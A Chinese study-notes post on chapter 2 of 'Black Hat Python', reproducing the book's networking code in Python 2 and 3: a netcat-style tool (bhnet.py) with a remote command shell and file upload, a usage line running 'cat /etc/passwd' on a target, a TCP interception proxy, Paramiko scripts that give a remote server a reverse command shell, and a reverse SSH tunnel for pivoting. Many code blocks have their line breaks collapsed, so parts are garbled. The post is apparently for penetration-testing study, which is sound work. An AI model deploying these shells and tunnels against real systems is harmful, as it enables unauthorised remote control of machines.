目录

  • 前言
    • 1、网络基础
      • (1)TCP客户端
      • (2)UDP客户端
      • (3)TCP服务器
    • 2、取代netcat
      • (1)bhnet.py 脚本
      • (2)运行方法
    • 3、创建一个TCP代理
      • (1)TCPproxy.py 脚本
      • (2)运行方法
    • 4、通过Paramiko使用SSH
      • (1)客户端连接SSH服务器
      • (2)反向从服务端发向客户端
      • (3)创建一个SSH服务端
    • 5、SSH隧道
  • 结语

前言

《Python黑帽子:黑客与渗透测试编程之道》的读书笔记,会包括书中源码,并自己将其中一些改写成Python3版本。书是比较老了,anyway,还是本很好的书

本篇是第2章网络基础,主要是socket模块的使用,同时也是后面篇章的基础

1、网络基础

(1)TCP客户端

一个简单的TCP客户端如下:

  • 建立socket对象
  • 连接到服务器
  • 发送数据
  • 接收并打印响应数据
#!/usr/bin/env python
#-*- coding:utf8 -*-import sockettarget_host = "127.0.0.1"
target_port = 8888#建立一个socket对象(AF_INET:使用标准IPV4地址和主机名,SOCK_STREAM:TCP客户端)
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# 连接客户端
client.connect((target_host,target_port))# 发送一些数据
client.send("GET / HTTP/1.1\r\nHost:baidu.com\r\n\r\n")# 接收一些数据(4096个字符)
response = client.recv(4096)print response

可以看到这里做了一定假设:

  • 连接总能成功建立
  • 服务器总是期望客户端先发数据
  • 服务器每次都能及时返回数据

这些都要根据实际情况调整

(2)UDP客户端

简单的修改

#!/usr/bin/env python
#-*- coding:utf8 -*-
import sockettarget_host = "127.0.0.1"
target_port = 9999#建立一个socket对象(SOCK_DGRAM:UDP客户端)
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)# 发送一些数据
client.sendto("AAABBBCCC你收到了吗",(target_host,target_port))# 接收一些数据(4096个字符),将会收到回传的数据和远程主机的信息和端口号
data, addr = client.recvfrom(4096)print data
print addr

(3)TCP服务器

一个标准多线程TCP服务器如下:

  • 监听IP和端口
  • 设置连接数
  • 一个客户端成功连接时,启动线程处理
#!/usr/bin/env python
#-*- coding:utf8 -*-
import  socket
import threadingbind_ip = "0.0.0.0"     #绑定ip:这里代表任何ip地址
bind_port = 8888server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)server.bind((bind_ip, bind_port))
# 最大连接数为5
server.listen(5)print "[*] Listening on %s:%d" % (bind_ip, bind_port)# 这是客户处理进程
def handle_client(client_socket):#打印出客户端发送得到的内容request = client_socket.recv(1024)print "[*] Received: %s" % request#发送一个数据包client_socket.send("ACK!")client_socket.close()while True:client,addr = server.accept()print "[*] Accepted connection from: %s:%d" % (addr[0], addr[1])#挂起客户端线程,处理传入的数据client_handler = threading.Thread(target=handle_client, args=(client,))client_handler.start()

2、取代netcat

netcat,瑞士军刀!
现在想办法实现相似的功能

(1)bhnet.py 脚本

这里创建一个bhnet.py

  • 简单实现客户端和服务器来传递想要的文件
  • 创建一个监听端来拥有控制命令行的操作权限
#!/usr/bin/env python
#-*- coding:utf8 -*-
import sys
import socket
import getopt
import threading
import subprocess# 定义一些全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0def run_command(command):# 删除字符串末尾的空格command = command.rstrip()# 运行命令并将输出放回try:output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)except:output = "Failed to execute command.\r\n"# 将输出发送return output# 文件上传、命令执行
def client_handler(client_socket):global uploadglobal executeglobal command# 检查上传文件if len(upload_destination):# 读取所有的字符并写下目标file_buffer = ""# 持续读取数据直到没有符合的数据while True:data = client_socket.recv(1024)if not data:breakelse:file_buffer += datatry:file_descriptor = open(upload_destination, "wb")file_descriptor.write(file_buffer)file_descriptor.close()client_socket.send("Successfully saved file to %s\r\n" % upload_destination)except:client_socket.send("Failed to save file to %s\r\n" % upload_destination)# 检查命令执行if len(execute):# 运行命令output = run_command(execute)client_socket.send(output)# 如果需要一个命令行shell,那么我们进入另一个循环if command:while True:# 跳出一个窗口client_socket.send("<BHP:#>")cmd_buffer = ""while "\n" not in cmd_buffer:cmd_buffer += client_socket.recv(1024)#  返回命令输出response = run_command(cmd_buffer)# 返回响应数据client_socket.send(response)# 服务端
def server_loop():global target# 如果没有定义目标,那我们监听所有接口if not len(target):target = "0.0.0.0"server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)server.bind((target, port))server.listen(5)while True:client_socket, addr = server.accept()# 分拆一个线程处理新的客户端client_thread = threading.Thread(target=client_handler, args=(client_socket,))client_thread.start()# 客户端
def client_sender(buffer):client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:# 连接到目标主机client.connect((target, port))if len(buffer):client.send(buffer)while True:# 现在等待数据回传recv_len = 1response = ""while recv_len:data = client.recv(4096)recv_len = len(data)response += dataif recv_len < 4096:breakprint  response# 等待更多的输入buffer = raw_input("")buffer += "\n"# 发送出去client.send(buffer)except:print "[*] Exception! Exiting."#关闭连接client.close()# usage
def usage():print "BHP Net Tool"printprint "Usage: bhpnet.py -t target_host - p port"print "-l --listen              - listen on [host]:[port] for incoming connections"print "-e --execute=file_to_run -execute the given file upon receiving a connection"print "-c --command             - initialize a commandshell"print "-u --upload=destination  - upon receiving connection upload a file and write to [destination]"printprintprint "Examples:"print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""print "echo 'ABCDEFGHI' | python ./bhpnet.py -t 192.168.11.12 -p 135"sys.exit(0)# 主函数
def main():global listenglobal portglobal executeglobal commandglobal upload_destinationglobal targetif not  len(sys.argv[1:]):usage()# 读取命令行选项,若没有该选项则显示用法try:opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",["help", "listen", "execute", "target", "port", "command", "upload"])except getopt.GetoptError as err:print str(err)usage()for o,a in opts:if o in ("-h","--help"):usage()elif o in ("-l", "--listen"):listen = Trueelif o in ("-e", "--execute"):execute = aelif o in ("-c", "--commandshell"):command = Trueelif o in ("-u", "--upload"):upload_destination = aelif o in ("-t", "--target"):target = aelif o in ("-p", "--port"):port = int(a)else:assert False,"Unhandled Option"#我们是进行监听还是仅从标准输入读取数据并发送数据?if not listen and len(target) and port > 0:# 从命令行读取内存数据# 这里将阻塞,所以不再向标准输入发送数据时发送CTRL-Dbuffer = sys.stdin.read()# 发送数据client_sender(buffer)# 我们开始监听并准备上传文件,执行命令# 放置一个反弹shell# 取决于上面的命令行选项if listen:server_loop()#调用main函数
if __name__ == '__main__': main()

Python3版本

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# version : python3.5import sys
import socket
import getopt
import threading
import subprocess# 定义一些全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0# usage
def usage():print("BHP NET TOOL")print("")print("Usage: bhpet.py -t target_host -p port")print("-l --listen                - listen on [host]: [port] for incoming connections")print("-e --execute=file_to_run   - excute the give file upon receiving a connection")print("-c --command               - initialize a command shell")print("-u -upload=destination     - upon receiving connection upload a file and write to [destination]")print("Examples: ")print("bhpnet.py -t 192.168.0.1 -p 5555 -l -c")print("bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.ext")print("bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\'cat /etc/passwd\'")print("echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135")sys.exit(0)# 客户端
def client_sender():client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:# 连接到目标主机client.connect((target, port))print("Successfully connect to %s: %s" %(target, port))# if len(buffer):#     client.send(buffer.encode('utf-8'))while True:# 现在等待数据回传recv_len = 1response = ""while recv_len:data = client.recv(4096).decode('utf-8')recv_len = len(data)response += dataif recv_len < 4096:breakprint(response)# 等待输入buffer = str(input(""))buffer += "\n"# 发送出去# print("sending....")client.send(buffer.encode('utf-8'))# print("[%s] has been sent Successfully" % buffer.encode('utf-8'))except:print("[*] Exception Exiting.")# 关闭连接client.close()# 服务端
def server_loop():global target# 如果没有设置监听目标,那么我们默认监听本地if not len(target):target = "127.0.0.1"server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)server.bind((target, port))server.listen(5)print("waiting for connection...")while True:client_socket, addr = server.accept()print("Successfully connect to %s: %s" % addr)# 分拆一个线程处理新的客户端client_thread = threading.Thread(target=client_handler, args=[client_socket, ])client_thread.start()def run_command(command):# 换行command = command.rstrip()# 运行命令并将结果返回try:# output = subprocess.getoutput(command)output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)except:output = "failed to execute command.\r\n"# 将输出发送return output# 实现功能
def client_handler(client_socket):global uploadglobal commandglobal executeprint("这里是client_handler")# 检测上传文件if len(upload_destination):# 读取所有的字符并写下目标file_buffer = ""print("waiting for write to %s...\n" % upload_destination)# 持续读取数据直到没有符合的数据while True:file_buffer = ""while True:   client_socket.send(b' Please input the file\'s content:\n')print("receiving")data = client_socket.recv(1024)print("the data is %s" % data)if b'exit' in data:breakelse:file_buffer += data.decode('utf-8')print("the file_buffer is %s\n" % file_buffer)# 现在我们接收这些数据并将它们写出来try:file_descriptor = open(upload_destination, "w")file_descriptor.write(file_buffer)file_descriptor.close()# 确认文件已经写出来client_socket.send(b'Successfully saved file to %s\r\n' % upload_destination.encode('utf-8'))except:client_socket.send(b'Fail to save file to %s\r\n' % upload_destination.encode('utf-8'))# 检查命令执行if len(execute):# 运行命令output = run_command(execute)client_socket.send(output)# 如果需要一个命令行shell, 那么我们进入另一个循环if command:while True:# 跳出一个窗口client_socket.send(" \n<BHP: #> ".encode('utf-8'))# 现在我们接收文件直到发现换行符cmd_buffer = ""while "\n" not in cmd_buffer:cmd_buffer += client_socket.recv(1024).decode('utf-8')# 返还命令输出response = run_command(cmd_buffer)# 返回响应数据client_socket.send(response)# 主函数
def main():global listenglobal portglobal executeglobal commandglobal upload_destinationglobal targetif not len(sys.argv[1:]):usage()# 读取命令行选项try:opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",["help", "listen", "execute", "target", "port", "command", "upload"])except getopt.GetoptError as err:print(str(err))usagefor o, a in opts:if o in ("-h", "--help"):usage()elif o in ("-l", "--listen"):listen = Trueelif o in ("-e", "--execute"):execute = aelif o in ("-c", "--command"):command = Trueelif o in ("-u", "--upload"):upload_destination = aelif o in ("-t", "--target"):target = aelif o in ("-p", "--port"):port = int(a)else:assert False, "Unhandled Option"# 我们是监听还是仅从标准输入发送数据if not listen and len(target) and port > 0:# 执行客户端程序client_sender()# 我们开始监听并准备上传文件、执行命令# 放置一个反弹shell# 取决于上面的命令行选项if listen:# 执行服务端程序server_loop()if __name__ == '__main__': main()

(2)运行方法

1、获取shell执行命令

目标机(服务端)

./bhnet.py -l -p 9999 -c

攻击机(客户端)

./bhnet.py -t localhost -p 9999

2、发送http请求

客户端

echo -ne "GET / HTTP/1.1\r\nHost:www.baidu.com\r\n\r\n" | ./bhnet.py -t www.baidu.com -p 9999

3、创建一个TCP代理

部署简单的TCP代理了解未知协议,修改发送到应用的数据包,或者为fuzz创建测试环境

(1)TCPproxy.py 脚本

#!/usr/bin/env python
#-*- coding:utf8 -*-import sys
import socket
import threadingdef hexdump(src, length=16):result = []digits = 4 if isinstance(src, unicode) else 2for i in xrange(0, len(src), length):s = src[i:i+length]hexa = b' '.join(["%0*X" % (digits, ord(x)) for x in s])text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])result.append(b"%04X    %-*s    %s" % (i, length*(digits+1), hexa, text))print  b'\n'.join(result)def receive_from(connection):buffer = ""#我们设置了两秒的超时,这取决与目标的情况, 可能需要调整connection.settimeout(2)try:# 持续从缓存中读取数据直到没有数据或者超时while True:data = connection.recv(4096)if not data:breakbuffer += dataexcept:pass #pass是空语句,是为了保持程序结构的完整性,防止报错return  bufferdef request_handler(buffer):# 执行包修改return bufferdef response_handler(buffer):# 执行包修改return bufferdef proxy_handler(client_socket, remote_host, remote_port, receive_first):# 连接远程主机remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)remote_socket.connect((remote_host, remote_port))# 如果必要从远程主机接收数据if receive_first:remote_buffer = receive_from(remote_socket)hexdump(remote_buffer)# 发送给我们的响应处理remote_buffer = response_handler(remote_buffer)# 如果我们有数据传递给本地客户端,发送它if len(remote_buffer):print "[<==] Sending %d bytes to localhost." % len(remote_buffer)client_socket.send(remote_buffer)# 现在我们从本地循环读取数据,发送给远程主机和本地主机while True:# 从本地读取数据local_buffer = receive_from(client_socket)if len(local_buffer):print  "[==>] Received %d bytes from localhost" % len(local_buffer)hexdump(local_buffer)# 发送给我们的本地请求local_buffer = request_handler(local_buffer)# 向远程主机发送数据remote_socket.send(local_buffer)print  "[==>] Sent to remote."# 接受响应的数据remote_buffer = receive_from(remote_socket)if len(remote_buffer):print "[<==] Received %d bytes from remote." % len(remote_buffer)hexdump(remote_buffer)#发送到响应处理函数remote_buffer = response_handler(remote_buffer)#将响应发送给本地socketclient_socket.send(remote_buffer)print "[<==] Sent to localhost."#如果两边都没有数据,关闭连接if not len(local_buffer) or not len(remote_buffer):client_socket.close()remote_socket.close()print "[*] No more data. Closing connections."breakdef server_loop(local_host, local_port, remote_host, remote_port, receive_first):server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:server.bind((local_host, local_port))except:print  "[!!] Failed to listen on %s:%d" % (local_host, local_port)print  "[!!] Check for other listening sockets or correct permissions."sys.exit(0)print "[*] Listening on %s:%d" % (local_host, local_port)server.listen(5)while True:client_socket, addr = server.accept()#打印出本地连接信息print "[==>] Received incoming connectiong from %s:%d" %  (addr[0], addr[1])#开启一个线程与远程主机通信proxy_thread = threading.Thread(target=proxy_handler, args=(client_socket, remote_host, remote_port, receive_first))proxy_thread.start()def main():# 没有华丽的命令行解析if len(sys.argv[1:]) != 5:print "Usage: ./tcpProxy.py [localhost] [localport] [remotehost] [remoteport] [receive_first]"print "Example: ./tcpProxy.py 127.0.0.1 9000 10.12.132.1 9000 True"sys.exit(0)# 设置本地监听参数local_host = sys.argv[1]local_port = int(sys.argv[2])#设置远程目标remote_host = sys.argv[3]remote_port = int(sys.argv[4])#告诉代理在发送给远程主机之前连接和接受数据receive_first = sys.argv[5]if "True" in receive_first:receive_first = Trueelse:receive_first = False#现在设置好我们的监听socketserver_loop(local_host, local_port, remote_host, remote_port, receive_first)if __name__ == '__main__': main()

Python3版本

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# version : python3.5import sys
import socket
import threadingdef server_loop(local_host, local_port, remote_host, remote_port, receive_first):server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:server.bind((local_host, local_port))except:print("[!!] Fail to listen on %s: %d" % (local_host, local_port))print("[!!] Check for other listening sockets correct permissions.")sys.exit(0)print("[*] Listening on %s: %d" %(local_host, local_port))server.listen(5)while True:client_socket, addr = server.accept()# 打印出本地连接信息print("[>>==] Received incoming connection from %s: %d" %(addr[0], addr[1]))# 开启一个线程与远程主机通信proxy_thread = threading.Thread(target=proxy_handler, args=(client_socket, remote_host, remote_port, receive_first))proxy_thread.start()def proxy_handler(client_socket, remote_host, remote_port, receive_first):#连接远程主机remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)remote_socket.connect((remote_host, remote_port))# 如果必要从远程主机接收数据if receive_first:remote_buffer =  receive_from(remote_socket)hexdump(remote_buffer)# 发送给我们的响应处理remote_buffer = response_handler(remote_buffer)# 如果我们有数据传递给本地客户端,发送它if len(remote_buffer):print("[<<==] Sending %d bytes to localhost."%len(remote_buffer))client_socket.send(remote_buffer)# 现在我们从本地循环读取数据。发送给远程主机和本地主机while True:# 从本地读取数据local_buffer = receive_from(client_socket)if len(local_buffer):print("[>>==] Received %d bytes from localhost."%len(local_buffer))hexdump(local_buffer)# 发送给我们的本地请求local_buffer = request_handler(local_buffer)# 向远程主机发送数据remote_socket.send(local_buffer)print("[==>>] Sent to remote.")# 接收响应的数据remote_buffer = receive_from(remote_socket)if len(remote_buffer):print("[==<<] Received %d bytes from remote. " % len(remote_buffer))hexdump(remote_buffer)# 发送到响应处理函数remote_buffer = response_handler(remote_buffer)# 将响应发送给本地socketclient_socket.send(remote_buffer)print("[<<==] Sent to localhost")# 如果两边都没有数据,关闭连接if not len(local_buffer) or not len(remote_buffer):client_socket.close()remote_socket.close()print("[*] No more data. Closing connections.")breakdef hexdump(src, length=16):result = []digits = 4 if isinstance(src, str) else 2for i in range(0, len(src), length):s = src[i:i + length]hexa = ' '.join([hex(x)[2:].upper().zfill(digits) for x in s])text = ''.join([chr(x) if 0x20 <= x < 0x7F else '.' for x in s])result.append("{0:04X}".format(i) + ' ' * 3 + hexa.ljust(length * (digits + 1)) + ' ' * 3 + "{0}".format(text))# return '\n'.join(result)print('\n'.join(result))def receive_from(connection):buffer= ""# 我们设置了两秒的超时,这取决于目标的情况,肯需要调整connection.settimeout(2)try:# 持续从缓存中读取数据,直到没有数据或超时while True:data = connection.recv(4096)if not data:breakdata = bytes.decode(data)buffer += databuffer = str.encode(buffer)       except:passreturn buffer# 对目标是远程主机的请求进行修改
def request_handler(buffer):# 执行包修改return buffer# 对目标是本地主机的响应进行修改
def response_handler(buffer):# 执行包修改return bufferdef main():if len(sys.argv[1:])!=5:print("Usage: ./proxy.py [localhost][localport][remotehost][remoteport][receive_first]")sys.exit(0)# 设置本地监听参数local_host = sys.argv[1]local_port = int(sys.argv[2])# 设置远程目标remote_host = sys.argv[3]remote_port = int(sys.argv[4])# 告诉代理在发送给远程主机之前连接和接收数据receive_first = sys.argv[5]if 'True' in receive_first:receive_first = Trueelse:receive_first = False# 现在我们设置好我们的监听socketserver_loop(local_host, local_port, remote_host, remote_port, receive_first)if __name__ == '__main__': main()

(2)运行方法

sudo ./TCPproxy.py 127.0.0.1 21 ftp.taget.ca 21 True

4、通过Paramiko使用SSH

Paramiko库中的PyCrypto能轻松上手SSH2协议

(1)客户端连接SSH服务器

创建一个函数连接SSH服务器并执行一条命令

#-*- coding:utf8 -*-import threading
import paramiko
import subprocessdef ssh_command(ip, user, passwd, command):client = paramiko.SSHClient()# client.load_host_keys('/home/root/.ssh/known_hosts') #支持用密钥认证代替密码验证,实际环境推荐使用密钥认证client.set_missing_host_key_policy(paramiko.AutoAddPolicy())    #设置自动添加和保存目标ssh服务器的ssh密钥client.connect(ip, username=user, password=passwd)  #连接ssh_session = client.get_transport().open_session() #打开会话if ssh_session.active:ssh_session.exec_command(command)   #执行命令print ssh_session.recv(1024)    #返回命令执行结果(1024个字符)return#调用函数,以用户pi及其密码连接我自己的树莓派,并执行id这个命令
ssh_command('192.168.88.105', 'pi', 'raspberry', 'id')

(2)反向从服务端发向客户端

#!/usr/bin/env python
#-*- coding:utf8 -*-import threading
import paramiko
import subprocessdef ssh_command(ip, user, passwd, command, port = 22):client = paramiko.SSHClient()# client.load_host_keys('/home/root/.ssh/known_hosts') #支持用密钥认证代替密码验证,实际环境推荐使用密钥认证client.set_missing_host_key_policy(paramiko.AutoAddPolicy())    #设置自动添加和保存目标ssh服务器的ssh密钥client.connect(ip, port, username=user, password=passwd)  #连接ssh_session = client.get_transport().open_session() #打开会话if ssh_session.active:ssh_session.exec_command(command)   #执行命令print ssh_session.recv(1024)    #返回命令执行结果(1024个字符)while True:command = ssh_session.recv(1024)    #从ssh服务器获取命令try:cmd_output = subprocess.check_output(command, shell=True)ssh_session.send(str(cmd_output))except Exception, e:ssh_session.send(str(e))client.close()returnssh_command('10.10.10.145', 'root', 'lovepython', 'ClientConnected', 2222)

Python3版本

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# version : python3.5# import threading
import paramiko
import subprocessdef ssh_command(ip, user, passwd, command):client = paramiko.SSHClient()# 密钥验证# client.load_host_keys('/home/justin/.ssh/known_hosts')# 允许连接不在known_hosts文件上的主机client.set_missing_host_key_policy(paramiko.AutoAddPolicy)client.connect(ip, username=user, password=passwd)ssh_session = client.get_transport().open_session()if ssh_session.active:ssh_session.send(command.encode())print(ssh_session.recv(1024).decode())while True:# 得到执行的命令command = ssh_session.recv(1024).decode()try:cmd_output = subprocess.check_output(command, shell=True)ssh_session.send(cmd_output)except Exception as e:ssh_session.send(str(e).encode())client.close()returnssh_command('192.168.230.129', 'justin', 'lovesthepython', 'ClientConnection')

(3)创建一个SSH服务端

#!/usr/bin/env python
#-*- coding:utf8 -*-import socket
import paramiko
import threading
import sys# 使用 Paramiko示例文件的密钥
#host_key = paramiko.RSAKey(filename='test_rsa.key')
host_key = paramiko.RSAKey(filename='/root/.ssh/id_rsa')class Server(paramiko.ServerInterface):def __init__(self):self.event = threading.Event()def check_channel_request(self, kind, chanid):if kind == 'session':return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITEDdef check_auth_password(self, username, password):if (username == 'root') and (password == 'lovepython'):return paramiko.AUTH_SUCCESSFULreturn paramiko.AUTH_FAILEDserver = sys.argv[1]
ssh_port = int(sys.argv[2])
try:sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    #TCP socket#这里value设置为1,表示将SO_REUSEADDR标记为TRUE,操作系统会在服务器socket被关闭或服务器进程终止后马上释放该服务器的端口,否则操作系统会保留几分钟该端口。sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)sock.bind((server, ssh_port))   #绑定ip和端口sock.listen(100)    #最大连接数为100print '[+] Listening for connection ...'client, addr = sock.accept()
except Exception, e:print '[-] Listen failed: ' + str(e)sys.exit(1)
print '[+] Got a connection!'try:bhSession = paramiko.Transport(client)bhSession.add_server_key(host_key)server = Server()try:bhSession.start_server(server=server)except paramiko.SSHException, x:print '[-] SSH negotiation failed'chan = bhSession.accept(20) #设置超时值为20print '[+] Authenticated!'print chan.recv(1024)chan.send("Welcome to my ssh")while True:try:command = raw_input("Enter command:").strip("\n")   #strip移除字符串头尾指定的字符(默认为空格),这里是换行if command != 'exit':chan.send(command)print chan.recv(1024) + '\n'else:chan.send('exit')print 'exiting'bhSession.close()raise Exception('exit')except KeyboardInterrupt:bhSession.close()
except Exception, e:print '[-] Caught exception: ' + str(e)try:bhSession.close()except:passsys.exit(1)

Python3版本

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# version : python3.5import socket
import paramiko
import threading
import sys# 使用paramiko示例文件的密钥
host_key = paramiko.RSAKey(filename='test_rsa.key')class Server(paramiko.ServerInterface):def __init__(self):self.event = threading.Event()def check_channel_request(self, kind, chanid):if kind == 'session':return paramiko.OPEN_SUCCEEDEDreturn paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITEDdef check_auth_password(self, username, password):if(username == 'justin') and (password == 'lovesthepython'):return paramiko.AUTH_SUCCESSFULreturn paramiko.AUTH_FAILEDserver = sys.argv[1]
ssh_port = int(sys.argv[2])
try:sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# sock.setsockopt(sock, sock.SOL_SOCKET, socket.SO_REUSEADDR, 1)sock.bind((server, ssh_port))sock.listen(100)print("[+] Listening for connection...")client, addr = sock.accept()
except Exception as e:print("[-] Listen failed: " + str(e))sys.exit(1)
print("[+] Got a connection ! ")try:bhSession = paramiko.Transport(client)bhSession.add_server_key(host_key)server = Server()try:bhSession.start_server(server=server)except paramiko.SSHException as x:print("[-] SSH negotiation failed.")chan = bhSession.accept(20)print("[+] Authenticated")print(chan.recv(1024).decode())chan.send(b'Welcome to bh_ssh')while True:try:command = input("Enter command: ").strip('\n')if command != 'exit':chan.send(command)print(chan.recv(1024).decode()+'\n')else:chan.send(b'exit')print("exiting")bhSession.close()raise Exception('exit')except KeyboardInterrupt:bhSession.close()
except Exception as e:print("[-] Caught exception: "+str(e))try:bhSession.close()except:passsys.exit(1)

5、SSH隧道

SSH隧道转发,看图理解


但是大部分Windows不运行SSH服务,那么可以反向SSH

#!/usr/bin/env python
# -*- coding:utf-8 -*-# Copyright (C) 2008  Robey Pointer <robeypointer@gmail.com>
#
# This file is part of paramiko.
#
# Paramiko is free software; you can redistribute it and/or modify it under the
# terms of the GNU Lesser General Public License as published by the Free
# Software Foundation; either version 2.1 of the License, or (at your option)
# any later version.
#
# Paramiko is distributed in the hope that it will be useful, but WITHOUT ANY
# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
# A PARTICULAR PURPOSE.  See the GNU Lesser General Public License for more
# details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with Paramiko; if not, write to the Free Software Foundation, Inc.,
# 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA."""
Sample script showing how to do remote port forwarding over paramiko.This script connects to the requested SSH server and sets up remote port
forwarding (the openssh -R option) from a remote port through a tunneled
connection to a destination reachable from the local machine.
"""import getpass
import os
import socket
import select
import sys
import threading
from optparse import OptionParserimport paramikoSSH_PORT = 22
DEFAULT_PORT = 4000g_verbose = Truedef handler(chan, host, port):sock = socket.socket()try:sock.connect((host, port))except Exception as e:verbose('Forwarding request to %s:%d failed: %r' % (host, port, e))returnverbose('Connected!  Tunnel open %r -> %r -> %r' % (chan.origin_addr,chan.getpeername(), (host, port)))while True:r, w, x = select.select([sock, chan], [], [])if sock in r:data = sock.recv(1024)if len(data) == 0:breakchan.send(data)if chan in r:data = chan.recv(1024)if len(data) == 0:breaksock.send(data)chan.close()sock.close()verbose('Tunnel closed from %r' % (chan.origin_addr,))def reverse_forward_tunnel(server_port, remote_host, remote_port, transport):transport.request_port_forward('', server_port)while True:chan = transport.accept(1000)if chan is None:continuethr = threading.Thread(target=handler, args=(chan, remote_host, remote_port))thr.setDaemon(True)thr.start()def verbose(s):if g_verbose:print(s)HELP = """\
Set up a reverse forwarding tunnel across an SSH server, using paramiko. A
port on the SSH server (given with -p) is forwarded across an SSH session
back to the local machine, and out to a remote site reachable from this
network. This is similar to the openssh -R option.
"""def get_host_port(spec, default_port):"parse 'hostname:22' into a host and port, with the port optional"args = (spec.split(':', 1) + [default_port])[:2]args[1] = int(args[1])return args[0], args[1]def parse_options():global g_verboseparser = OptionParser(usage='usage: %prog [options] <ssh-server>[:<server-port>]',version='%prog 1.0', description=HELP)parser.add_option('-q', '--quiet', action='store_false', dest='verbose', default=True,help='squelch all informational output')parser.add_option('-p', '--remote-port', action='store', type='int', dest='port',default=DEFAULT_PORT,help='port on server to forward (default: %d)' % DEFAULT_PORT)parser.add_option('-u', '--user', action='store', type='string', dest='user',default=getpass.getuser(),help='username for SSH authentication (default: %s)' % getpass.getuser())parser.add_option('-K', '--key', action='store', type='string', dest='keyfile',default=None,help='private key file to use for SSH authentication')parser.add_option('', '--no-key', action='store_false', dest='look_for_keys', default=True,help='don\'t look for or use a private key file')parser.add_option('-P', '--password', action='store_true', dest='readpass', default=False,help='read password (for key or password auth) from stdin')parser.add_option('-r', '--remote', action='store', type='string', dest='remote', default=None, metavar='host:port',help='remote host and port to forward to')options, args = parser.parse_args()if len(args) != 1:parser.error('Incorrect number of arguments.')if options.remote is None:parser.error('Remote address required (-r).')g_verbose = options.verboseserver_host, server_port = get_host_port(args[0], SSH_PORT)remote_host, remote_port = get_host_port(options.remote, SSH_PORT)return options, (server_host, server_port), (remote_host, remote_port)def main():options, server, remote = parse_options()password = Noneif options.readpass:password = getpass.getpass('Enter SSH password: ')client = paramiko.SSHClient()client.load_system_host_keys()client.set_missing_host_key_policy(paramiko.WarningPolicy())verbose('Connecting to ssh host %s:%d ...' % (server[0], server[1]))try:client.connect(server[0], server[1], username=options.user, key_filename=options.keyfile,look_for_keys=options.look_for_keys, password=password)except Exception as e:print('*** Failed to connect to %s:%d: %r' % (server[0], server[1], e))sys.exit(1)verbose('Now forwarding remote port %d to %s:%d ...' % (options.port, remote[0], remote[1]))try:reverse_forward_tunnel(options.port, remote[0], remote[1], client.get_transport())except KeyboardInterrupt:print('C-c: Port forwarding stopped.')sys.exit(0)if __name__ == '__main__':main()

Python3版本

#!/usr/bin/env python
# -*- coding:utf-8 -*-# example:python rforward.py 192.168.100.123 -p 8080 -r 192.168.100.128:80 --user justin --passwordimport getpass
import os
import socket
import select
import sys
import threading
from optparse import OptionParserimport paramikoSSH_PORT = 22
DEFAULT_PORT = 4000g_verbose = Truedef handler(chan, host, port):sock = socket.socket()try:sock.connect((host, port))except Exception as e:verbose("Forwarding request to %s:%d failed: %r" % (host, port, e))returnverbose("Connected!  Tunnel open %r -> %r -> %r"% (chan.origin_addr, chan.getpeername(), (host, port)))while True:r, w, x = select.select([sock, chan], [], [])if sock in r:data = sock.recv(1024)if len(data) == 0:breakchan.send(data)if chan in r:data = chan.recv(1024)if len(data) == 0:breaksock.send(data)chan.close()sock.close()verbose("Tunnel closed from %r" % (chan.origin_addr,))def reverse_forward_tunnel(server_port, remote_host, remote_port, transport):transport.request_port_forward("", server_port)while True:chan = transport.accept(1000)if chan is None:continuethr = threading.Thread(target=handler, args=(chan, remote_host, remote_port))thr.setDaemon(True)thr.start()def verbose(s):if g_verbose:print(s)HELP = """\
Set up a reverse forwarding tunnel across an SSH server, using paramiko. A
port on the SSH server (given with -p) is forwarded across an SSH session
back to the local machine, and out to a remote site reachable from this
network. This is similar to the openssh -R option.
